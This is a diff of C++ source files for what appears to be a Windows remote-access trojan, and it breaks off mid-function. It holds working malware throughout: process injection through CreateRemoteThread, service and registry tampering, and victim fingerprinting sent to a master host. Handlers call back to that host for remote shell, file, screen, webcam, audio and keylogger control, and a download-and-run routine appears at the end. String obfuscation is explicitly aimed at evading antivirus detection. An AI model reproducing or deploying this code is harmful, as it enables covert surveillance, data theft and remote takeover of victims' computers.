lparam->pAddress = (PTHREAD_START_ROUTINE)pCallBackAddr;
lparam->lParam = lParam;
HANDLE hThread = CreateThread(0,0,
HideLibrary02, (LPVOID)lparam, 0, NULL);
if(hThread == NULL)
{
delete lparam;
return;
}
CloseHandle(hThread);
return;
}

View File

@@ -0,0 +1,170 @@
#if !defined(AFX_INJECT_H_INCLUDED)
#define AFX_INJECT_H_INCLUDED
#include <windows.h>
#include <Tlhelp32.h>
extern DWORD GetProcessID(LPCTSTR lpProcessName);
#define THREADSIZE 1024 * 10 //should be big enough
typedef SC_HANDLE (__stdcall *TOpenSCManager)(LPCTSTR, LPCTSTR, DWORD);
typedef SC_HANDLE (__stdcall *TOpenService)(SC_HANDLE, LPCTSTR, DWORD);
typedef BOOL (__stdcall *TQueryServiceStatus)(SC_HANDLE, LPSERVICE_STATUS);
typedef BOOL (__stdcall *TControlService)(SC_HANDLE, DWORD, LPSERVICE_STATUS);
typedef BOOL (__stdcall *TStartService)(SC_HANDLE, DWORD, LPCTSTR*);
typedef BOOL (__stdcall *TDeleteService)(SC_HANDLE);
typedef BOOL (__stdcall *TCloseServiceHandle)(SC_HANDLE);
typedef DWORD (__stdcall *TSHDeleteKey)(HKEY, LPCTSTR);
typedef BOOL (__stdcall *TCloseHandle)(HANDLE);
typedef VOID (__stdcall *TSleep)(DWORD);
typedef BOOL (__stdcall *TDeleteFile)(LPCTSTR);
typedef struct
{
TOpenSCManager MyOpenSCManager;
TOpenService MyOpenService;
TQueryServiceStatus MyQueryServiceStatus;
TControlService MyControlService;
TStartService MyStartService;
TDeleteService MyDeleteService;
TCloseServiceHandle MyCloseServiceHandle;
TSHDeleteKey MySHDeleteKey;
TCloseHandle MyCloseHandle;
TSleep MySleep;
TDeleteFile MyDeleteFile;
char strServiceName[100]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char strServiceRegKey[100]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>λ<EFBFBD><CEBB>
}REMOTE_PARAMETER, *PREMOTE_PARAMETER;
bool EnableDebugPriv(void)
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
return false;
if (!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&sedebugnameValue))
{
CloseHandle(hToken);
return false;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(tkp),NULL,NULL))
{
CloseHandle(hToken);
return false;
}
CloseHandle(hToken);
return true;
}
DWORD __stdcall MyFunc(LPVOID lparam)
{
REMOTE_PARAMETER *pRemoteParam = (REMOTE_PARAMETER *)lparam;
SC_HANDLE service = NULL, scm = NULL;
SERVICE_STATUS Status;
scm = pRemoteParam->MyOpenSCManager(0, 0,
SC_MANAGER_CREATE_SERVICE);
service = pRemoteParam->MyOpenService(
scm, pRemoteParam->strServiceName,
SERVICE_ALL_ACCESS | DELETE);
if (scm==NULL&&service == NULL)
return -1;
if (!pRemoteParam->MyQueryServiceStatus(service, &Status))
return -1;
if (Status.dwCurrentState != SERVICE_STOPPED)
{
if (!pRemoteParam->MyControlService(service, SERVICE_CONTROL_STOP, &Status))
return -1;
// Wait to service stopped
pRemoteParam->MySleep(1000);
}
// delete service
pRemoteParam->MyDeleteService(service);
// delete regkey
pRemoteParam->MySHDeleteKey(HKEY_LOCAL_MACHINE, pRemoteParam->strServiceRegKey);
if (service != NULL)
pRemoteParam->MyCloseServiceHandle(service);
if (scm != NULL)
pRemoteParam->MyCloseServiceHandle(scm);
return 0;
}
bool InjectRemoveService(LPCTSTR lpProcessName, char *lpServiceName)
{
EnableDebugPriv();
HANDLE hProcess;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, GetProcessID(lpProcessName));
if (hProcess == NULL)
return false;
//////////////////////////////////////////////////////////////////////////
REMOTE_PARAMETER remoteParameter;
memset(&remoteParameter, 0, sizeof(remoteParameter));
HMODULE hAdvapi32 = LoadLibrary("advapi32.dll");
remoteParameter.MyOpenSCManager = (TOpenSCManager)GetProcAddress(hAdvapi32, "OpenSCManagerA");
remoteParameter.MyOpenService = (TOpenService)GetProcAddress(hAdvapi32, "OpenServiceA");
remoteParameter.MyQueryServiceStatus = (TQueryServiceStatus)GetProcAddress(hAdvapi32, "QueryServiceStatus");
remoteParameter.MyControlService = (TControlService)GetProcAddress(hAdvapi32, "ControlService");
remoteParameter.MyStartService = (TStartService)GetProcAddress(hAdvapi32, "StartServiceA");
remoteParameter.MyDeleteService = (TDeleteService)GetProcAddress(hAdvapi32, "DeleteService");
remoteParameter.MyCloseServiceHandle = (TCloseServiceHandle)GetProcAddress(hAdvapi32, "CloseServiceHandle");
FreeLibrary(hAdvapi32);
HMODULE hShlwapi = LoadLibrary("shlwapi.dll");
remoteParameter.MySHDeleteKey = (TSHDeleteKey)GetProcAddress(hShlwapi, "SHDeleteKeyA");
FreeLibrary(hShlwapi);
HMODULE hKernel32 = LoadLibrary("kernel32.dll");
remoteParameter.MySleep = (TSleep)GetProcAddress(hKernel32, "Sleep");
remoteParameter.MyCloseHandle = (TCloseHandle)GetProcAddress(hKernel32, "CloseHandle");
FreeLibrary(hKernel32);
lstrcpy(remoteParameter.strServiceName, lpServiceName);
lstrcpy(remoteParameter.strServiceRegKey, "SYSTEM\\CurrentControlSet\\Services\\");
lstrcat(remoteParameter.strServiceRegKey, remoteParameter.strServiceName);
//////////////////////////////////////////////////////////////////////////
// Write thread parameter to Remote thread
void *pDataRemote = (char*)VirtualAllocEx(hProcess, 0, sizeof(remoteParameter),
MEM_COMMIT, PAGE_READWRITE);
if (!pDataRemote)
return false;
if (!WriteProcessMemory( hProcess, pDataRemote, &remoteParameter, sizeof(remoteParameter), NULL))
return false;
// Write Code to Remote thread
DWORD cbCodeSize= THREADSIZE; // <20><><EFBFBD><EFBFBD><EFBFBD>Ŀռ<D5BC><E4B2BB>һ<EFBFBD><EFBFBD><E3A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>WriteProcessMemroy<6F><79>ʧ<EFBFBD><CAA7>
PDWORD pCodeRemote = (PDWORD)VirtualAllocEx(hProcess, 0, cbCodeSize, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (!pCodeRemote)
return false;
if (!WriteProcessMemory(hProcess, pCodeRemote, &MyFunc, cbCodeSize, NULL))
return false;
if (CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pCodeRemote, pDataRemote, 0, NULL) == NULL)
return false;
return true;
}
#endif // !defined(AFX_INJECT_H_INCLUDED)

View File

@@ -0,0 +1,235 @@
#include "..\pch.h"
#include "install.h"
#include "until.h"
#include <Shlwapi.h>
void RemoveService(LPCTSTR lpServiceName)
{
char Desc[MAX_PATH];
char regKey[1024];
SC_HANDLE service = NULL, scm = NULL;
SERVICE_STATUS Status;
__try
{
scm = OpenSCManager(NULL, NULL,
SC_MANAGER_ALL_ACCESS);
service = OpenService(
scm, lpServiceName,
SERVICE_ALL_ACCESS);
if (scm==NULL&&service == NULL)
__leave;
if (!QueryServiceStatus(service, &Status))
__leave;
if (Status.dwCurrentState != SERVICE_STOPPED)
{
if (!ControlService(service,
SERVICE_CONTROL_STOP,
&Status))
__leave;
Sleep(800);
}
DeleteService(service);
memset(regKey, 0, sizeof(regKey));
wsprintf(regKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
SHDeleteKey(HKEY_LOCAL_MACHINE, regKey);
}
__finally
{
if (service != NULL)
CloseServiceHandle(service);
if (scm != NULL)
CloseServiceHandle(scm);
}
return;
}
void DeleteInstallFile(char *lpServiceName)
{
char strInstallModule[MAX_PATH];
char strSubKey[1024];
memset(strInstallModule, 0, sizeof(strInstallModule));
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
ReadRegEx(HKEY_LOCAL_MACHINE, strSubKey,
"InstallModule", REG_SZ, strInstallModule, NULL, lstrlen(strInstallModule), 0);
// ɾ<><C9BE><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>ļ<EFBFBD>
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "InstallModule", REG_SZ, NULL, NULL, 3);
for (int i = 0; i < 25; i++)
{
Sleep(3000);
if (DeleteFile(strInstallModule))
break;
}
}
int memfind(const char *mem, const char *str, int sizem, int sizes)
{
int da,i,j;
if (sizes == 0) da = strlen(str);
else da = sizes;
for (i = 0; i < sizem; i++)
{
for (j = 0; j < da; j ++)
if (mem[i+j] != str[j]) break;
if (j == da) return i;
}
return -1;
}
#define MAX_CONFIG_LEN 1024
LPCTSTR FindConfigString(HMODULE hModule, LPCTSTR lpString)
{
char strFileName[MAX_PATH];
char *lpConfigString = NULL;
DWORD dwBytesRead = 0;
GetModuleFileName(hModule, strFileName, sizeof(strFileName));
HANDLE hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return NULL;
}
SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);
lpConfigString = new char[MAX_CONFIG_LEN];
ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, &dwBytesRead, NULL);
CloseHandle(hFile);
int offset = memfind(lpConfigString, lpString, MAX_CONFIG_LEN, 0);
if (offset == -1)
{
delete lpConfigString;
return NULL;
}
else
{
return lpConfigString + offset;
}
}
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void ReConfigService(char *lpServiceName)
{
int rc = 0;
HKEY hKey = 0;
try{
char buff[500];
//config service
strncpy(buff, "SYSTEM\\CurrentControlSet\\Services\\", sizeof buff);
strcat(buff, lpServiceName);
rc = RegCreateKey(HKEY_LOCAL_MACHINE, buff, &hKey);
if(ERROR_SUCCESS != rc)
{
throw "";
}
// <20><><EFBFBD><EFBFBD>ΪOwner<65>ģ<EFBFBD><C4A3><EFBFBD>ΪShare
DWORD dwType = 0x120;
rc = RegSetValueEx(hKey, "Type", 0, REG_DWORD, (unsigned char*)&dwType, sizeof(DWORD));
SetLastError(rc);
if(ERROR_SUCCESS != rc)
throw "RegSetValueEx(start)";
}
catch(char *str)
{
if(str && str[0])
{
rc = GetLastError();
}
}
RegCloseKey(hKey);
}
// <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD>ȡȨ<C8A1><C8A8>
BOOL RegKeySetACL(LPTSTR lpKeyName, DWORD AccessPermissions, ACCESS_MODE AccessMode)
{
PSECURITY_DESCRIPTOR SD;
EXPLICIT_ACCESS ea;
PACL OldDACL, NewDACL;
SE_OBJECT_TYPE ObjectType = SE_REGISTRY_KEY; //#include <aclapi.h>
//Ĭ<>Ϸ<EFBFBD><CFB7><EFBFBD>ֵΪFALSE
BOOL bRet = FALSE;
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>յ<EFBFBD>ACL;
if (SetEntriesInAcl(0, NULL, NULL, &OldDACL) != ERROR_SUCCESS)
return bRet;
if (SetEntriesInAcl(0, NULL, NULL, &NewDACL) != ERROR_SUCCESS)
return bRet;
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD>е<EFBFBD>ACL<43>б<EFBFBD><D0B1><EFBFBD>OldDACL:
if(GetNamedSecurityInfo(lpKeyName, ObjectType,
DACL_SECURITY_INFORMATION,
NULL, NULL,
&OldDACL,
NULL, &SD) != ERROR_SUCCESS)
{
return bRet;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>"Everyone"<22><>ָ<EFBFBD><D6B8><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD>Ȩ<EFBFBD><C8A8><EFBFBD>ṹea:
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
char *lpUsers[] = {"SYSTEM", "Administrators", "Everyone", "Users"};
for (int i = 0; i < sizeof(lpUsers) / sizeof(char *); i++)
{
BuildExplicitAccessWithName(&ea,
lpUsers[i], // name of trustee
AccessPermissions, // type of access
AccessMode, // access mode
SUB_CONTAINERS_AND_OBJECTS_INHERIT); //<2F>Ӽ<EFBFBD><D3BC>̳<EFBFBD><CCB3><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
}
//<2F>ϲ<EFBFBD><CFB2>ṹea<65><61>OldDACL<43><4C>Ȩ<EFBFBD><C8A8><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD>µ<EFBFBD>NewDACL:
if (SetEntriesInAcl(1, &ea, NULL, &NewDACL) == ERROR_SUCCESS)
{
//<2F><><EFBFBD>µ<EFBFBD>ACLд<4C>뵽ָ<EBB5BD><D6B8><EFBFBD>ļ<EFBFBD>:
SetNamedSecurityInfo(lpKeyName, ObjectType,
DACL_SECURITY_INFORMATION,
NULL, NULL,
NewDACL,
NULL);
bRet = TRUE;
}
//<2F>ͷ<EFBFBD>ָ<EFBFBD><D6B8>
if(SD != NULL)
LocalFree((HLOCAL) SD);
if(NewDACL != NULL)
LocalFree((HLOCAL) NewDACL);
if(OldDACL != NULL)
LocalFree((HLOCAL) OldDACL);
return bRet;
}
DWORD QueryServiceTypeFromRegedit(char *lpServiceName)
{
int rc = 0;
HKEY hKey = 0;
DWORD dwServiceType = 0;
try{
char buff[500];
//config service
strncpy(buff, "SYSTEM\\CurrentControlSet\\Services\\", sizeof buff);
strcat(buff, lpServiceName);
rc = RegOpenKey(HKEY_LOCAL_MACHINE, buff, &hKey);
if(ERROR_SUCCESS != rc)
{
throw "";
}
DWORD type, size = sizeof(DWORD);
rc = RegQueryValueEx(hKey, "Type", 0, &type, (unsigned char *)&dwServiceType, &size);
RegCloseKey(hKey);
SetLastError(rc);
if(ERROR_SUCCESS != rc)
throw "RegQueryValueEx(Type)";
}
catch(...)
{
}
RegCloseKey(hKey);
return dwServiceType;
}

View File

@@ -0,0 +1,14 @@
#if !defined(AFX_INSTALL_H_INCLUDED)
#define AFX_INSTALL_H_INCLUDED
#include <windows.h>
#include <aclapi.h>
void DeleteInstallFile(char *lpServiceName);
bool IsServiceRegExists(char *lpServiceName);
void ReConfigService(char *lpServiceName);
DWORD QueryServiceTypeFromRegedit(char *lpServiceName);
void RemoveService(LPCTSTR lpServiceName);
LPCTSTR FindConfigString(HMODULE hModule, LPCTSTR lpString);
int memfind(const char *mem, const char *str, int sizem, int sizes);
BOOL RegKeySetACL(LPTSTR lpKeyName, DWORD AccessPermissions, ACCESS_MODE AccessMode);
#endif // !defined(AFX_INSTALL_H_INCLUDED)

View File

@@ -0,0 +1,257 @@
#include <wininet.h>
#include <stdlib.h>
#include <vfw.h>
#include "decode.h"
#include "until.h"
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "vfw32.lib")
typedef struct
{
BYTE bToken; // = 1
OSVERSIONINFOEX OsVerInfoEx; // <20><EFBFBD><E6B1BE>Ϣ
int CPUClockMhz; // CPU<50><55>Ƶ
IN_ADDR IPAddress; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
char HostName[50]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bool bIsWebCam; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
}LOGININFO;
void SplitLoginInfo(char *lpDecodeString, char **lppszHost, LPDWORD lppPort, char **lppszProxyHost, LPDWORD lppProxyPort,
char **lppszProxyUser, char **lppszProxyPass)
{
*lppszHost = NULL;
*lppPort = 0;
*lppszProxyHost = NULL;
*lppProxyPort = 0;
*lppszProxyUser = NULL;
*lppszProxyPass = NULL;
bool bIsProxyUsed = false;
bool bIsAuth = false;
UINT nSize = lstrlen(lpDecodeString) + 1;
char *lpString = new char[nSize];
memcpy(lpString, lpDecodeString, nSize);
char *pStart, *pNext, *pEnd;
*lppszHost = lpString;
if ((pStart = strchr(lpString, ':')) == NULL)
return;
*pStart = '\0';
if ((pNext = strchr(pStart + 1, '|')) != NULL)
{
bIsProxyUsed = true;
*pNext = '\0';
}
*lppPort = atoi(pStart + 1);
if (!bIsProxyUsed)
return;
pNext++;
*lppszProxyHost = pNext;
if ((pStart = strchr(pNext, ':')) == NULL)
return;
*pStart = '\0';
if ((pNext = strchr(pStart + 1, '|')) != NULL)
{
bIsAuth = true;
*pNext = '\0';
}
*lppProxyPort = atoi(pStart + 1);
if (!bIsAuth)
return;
pNext++;
*lppszProxyUser = pNext;
if ((pStart = strchr(pNext, ':')) == NULL)
return;
*pStart = '\0';
*lppszProxyPass = pStart + 1;
}
bool getLoginInfo(char *lpURL, char **lppszHost, LPDWORD lppPort, char **lppszProxyHost, LPDWORD lppProxyPort,
char **lppszProxyUser, char **lppszProxyPass)
{
if (lpURL == NULL)
return false;
char *pStart, *pEnd;
char buffer[2048];
char strEncode[1024];
DWORD dwBytesRead = 0;
bool bRet = false;
// û<><C3BB><EFBFBD>ҵ<EFBFBD><D2B5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (strstr(lpURL, "http://") == NULL && strstr(lpURL, "https://") == NULL)
{
SplitLoginInfo(lpURL, lppszHost, lppPort, lppszProxyHost, lppProxyPort, lppszProxyUser, lppszProxyPass);
return true;
}
HINTERNET hNet;
HINTERNET hFile;
//strcry----------------------------------------------------
//char Mozilla[] = { 0x18,0x86,0xa5,0xb3,0xa1,0xab,0xaa,0xa4,0xeb,0xf7,0xec,0xf1,0xe0,0x97,0xdd,0xd2,0xd1,0xcb,0xdb,0xcd,0xd1,0xd5,0xda,0xd0,0x9d }; //Mozilla/4.0 (compatible)
//char* pMozilla = decodeStr(Mozilla); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
//
//hNet = InternetOpen(pMozilla, INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
//
//memset(pMozilla, 0, pMozilla[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
//delete pMozilla;
hNet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
//----------------------------------------------------------
if (hNet == NULL)
return bRet;
hFile = InternetOpenUrl(hNet, lpURL, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD, 0);
if (hFile == NULL)
return bRet;
do
{
memset(buffer, 0, sizeof(buffer));
InternetReadFile(hFile, buffer, sizeof(buffer), &dwBytesRead);
if ((pStart = strstr(buffer, "AAAA")) == NULL)
continue;
pStart += 4;
if ((pEnd = strstr(pStart, "AAAA")) == NULL)
continue;
memset(strEncode, 0, sizeof(strEncode));
memcpy(strEncode, pStart, pEnd - pStart);
char *lpDecodeString = MyDecode(strEncode);
SplitLoginInfo(lpDecodeString, lppszHost, lppPort, lppszProxyHost, lppProxyPort, lppszProxyUser, lppszProxyPass);
bRet = true;
} while (dwBytesRead > 0);
InternetCloseHandle(hFile);
InternetCloseHandle(hNet);
return bRet;
}
// Get System Information
DWORD CPUClockMhz()
{
HKEY hKey;
DWORD dwCPUMhz;
DWORD dwBytes = sizeof(DWORD);
DWORD dwType = REG_DWORD;
//HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0
//Anti Anti- Virus eset : a variant of Win32/Farfli.ADV trojan
char HARDWARE[] = { 0x2e,0x83,0x8b,0x9b,0x8c,0x90,0x87,
0x97,0x81,0x9f,0x86,0x84,0x93,0xfc,0xec,0xf4,0xec,
0xef,0xf3,0xf6,0xf6,0xeb,0xe5,0xcc,0xc7,0xc7,0xd7,
0xdc,0xec,0xec,0xcb,0xc3,0xd8,0xd9,0xcb,0xc5,0xf8,
0xd5,0xc9,0xc6,0xc1,0xd0,0xd1,0xce,0xd2,0xc3,0xae
}; //WinSta0\Default
char* pHARDWARE = decodeStr(HARDWARE); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
//RegOpenKey(HKEY_LOCAL_MACHINE, pHARDWARE, &hKey);
RegOpenKey(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
//------------------------------------------------------------------------------------------------
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMhz, &dwBytes);
RegCloseKey(hKey);
memset(pHARDWARE, 0, HARDWARE[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pHARDWARE;
return dwCPUMhz;
}
bool IsWebCam()
{
bool bRet = false;
char lpszName[100], lpszVer[50];
for (int i = 0; i < 10 && !bRet; i++)
{
bRet = capGetDriverDescription(i, lpszName, sizeof(lpszName),
lpszVer, sizeof(lpszVer));
}
return bRet;
}
UINT GetHostRemark(LPCTSTR lpServiceName, LPTSTR lpBuffer, UINT uSize)
{
char strSubKey[1024];
memset(lpBuffer, 0, uSize);
memset(strSubKey, 0, sizeof(strSubKey));
//strcry SYSTEM\CurrentControlSet\Services\%s
char Services[] = { 0x24,0x98,0x93,0x9a,0x9c,0x82,0x8b,
0x99,0x87,0xb6,0xb0,0xb3,0xa5,0xd1,0xca,0xfe,0xd3,
0xd5,0xce,0xcb,0xd7,0xdb,0xe5,0xd0,0xc0,0xef,0xe1,
0xd4,0xc2,0xd9,0xc7,0xce,0xc9,0xd8,0xf6,0x8c,0xdb }; //WinSta0\Default
char* pServices = decodeStr(Services); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
//wsprintf(strSubKey, "SYSTEM\CurrentControlSet\Services\%s", lpServiceName);
wsprintf(strSubKey, pServices, lpServiceName);
ReadRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Host", REG_SZ, (char *)lpBuffer, NULL, uSize, 0);
if (lstrlen(lpBuffer) == 0)
gethostname(lpBuffer, uSize);
memset(strSubKey, 0, sizeof(strSubKey));
memset(pServices, 0, Services[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pServices;
return lstrlen(lpBuffer);
}
int sendLoginInfo(LPCTSTR strServiceName, CClientSocket *pClient, DWORD dwSpeed)
{
int nRet = SOCKET_ERROR;
// <20><>¼<EFBFBD><C2BC>Ϣ
LOGININFO LoginInfo;
// <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LoginInfo.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
LoginInfo.bIsWebCam = 0; //û<><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
LoginInfo.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx((OSVERSIONINFO *)&LoginInfo.OsVerInfoEx); // ע<><D7A2>ת<EFBFBD><D7AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// IP<49><50>Ϣ
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char hostname[256];
GetHostRemark(strServiceName, hostname, sizeof(hostname));
// <20><><EFBFBD>ӵ<EFBFBD>IP<49><50>ַ
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
getsockname(pClient->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
memcpy(&LoginInfo.IPAddress, (void *)&sockAddr.sin_addr, sizeof(IN_ADDR));
memcpy(&LoginInfo.HostName, hostname, sizeof(LoginInfo.HostName));
// CPU
LoginInfo.CPUClockMhz = CPUClockMhz();
LoginInfo.bIsWebCam = IsWebCam();
// Speed
LoginInfo.dwSpeed = dwSpeed;
nRet = pClient->Send((LPBYTE)&LoginInfo, sizeof(LOGININFO));
return nRet;
}

View File

@@ -0,0 +1,357 @@
#if !defined(AFX_LOOP_H_INCLUDED)
#define AFX_LOOP_H_INCLUDED
#include "KernelManager.h"
#include "FileManager.h"
#include "ScreenManager.h"
#include "ShellManager.h"
#include "VideoManager.h"
#include "AudioManager.h"
#include "SystemManager.h"
#include "KeyboardManager.h"
#include "ServerManager.h"
#include "RegManager.h"
#include "..\StrCry.h"
#include "until.h"
#include "install.h"
#include <wininet.h>
extern bool g_bSignalHook;
DWORD WINAPI Loop_FileManager(SOCKET sRemote)
{
//---<2D><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>
CClientSocket socketClient;
//<2F><><EFBFBD><EFBFBD>
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1; //<2F><><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD>
//---<2D><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CManager Ҳ<><D2B2><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD>պ<EFBFBD><D5BA>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD> CFileManager::OnReceive
CFileManager manager(&socketClient);
socketClient.run_event_loop(); //---<2D>ȴ<EFBFBD><C8B4>߳̽<DFB3><CCBD><EFBFBD>
return 0;
}
DWORD WINAPI Loop_ShellManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CShellManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
DWORD WINAPI Loop_ScreenManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CScreenManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
// <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>ͬһ<CDAC>̵߳<DFB3><CCB5><EFBFBD>sendDIB<49><42><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DWORD WINAPI Loop_VideoManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CVideoManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
DWORD WINAPI Loop_AudioManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CAudioManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
DWORD WINAPI Loop_HookKeyboard(LPARAM lparam)
{
char strKeyboardOfflineRecord[MAX_PATH] = {0};
//GetSystemDirectory(strKeyboardOfflineRecord, sizeof(strKeyboardOfflineRecord));
lstrcat(strKeyboardOfflineRecord, "C:\\syslog.dat");
if (GetFileAttributes(strKeyboardOfflineRecord) != -1)
g_bSignalHook = true;
else
g_bSignalHook = false;
while (1)
{
while (g_bSignalHook == false)Sleep(100);
CKeyboardManager::StartHook();
while (g_bSignalHook == true)Sleep(100);
CKeyboardManager::StopHook();
}
return 0;
}
DWORD WINAPI Loop_KeyboardManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CKeyboardManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
//<2F><><EFBFBD>̱<EFBFBD><CCB1><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>
DWORD WINAPI Loop_SystemManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CSystemManager manager(&socketClient, COMMAND_SYSTEM);
socketClient.run_event_loop();
return 0;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>̻߳ص<CCBB><D8B5><EFBFBD><EFBFBD><EFBFBD>
DWORD WINAPI Loop_WindowManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CSystemManager manager(&socketClient, COMMAND_WSLIST);
socketClient.run_event_loop();
return 0;
}
DWORD WINAPI Loop_DownManager(LPVOID lparam)
{
int nUrlLength;
char *lpURL = NULL;
char *lpFileName = NULL;
nUrlLength = strlen((char *)lparam);
if (nUrlLength == 0)
return false;
lpURL = (char *)malloc(nUrlLength + 1);
memcpy(lpURL, lparam, nUrlLength + 1);
lpFileName = strrchr(lpURL, '/') + 1;
if (lpFileName == NULL)
return false;
if (!http_get(lpURL, lpFileName))
{
return false;
}
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof si;
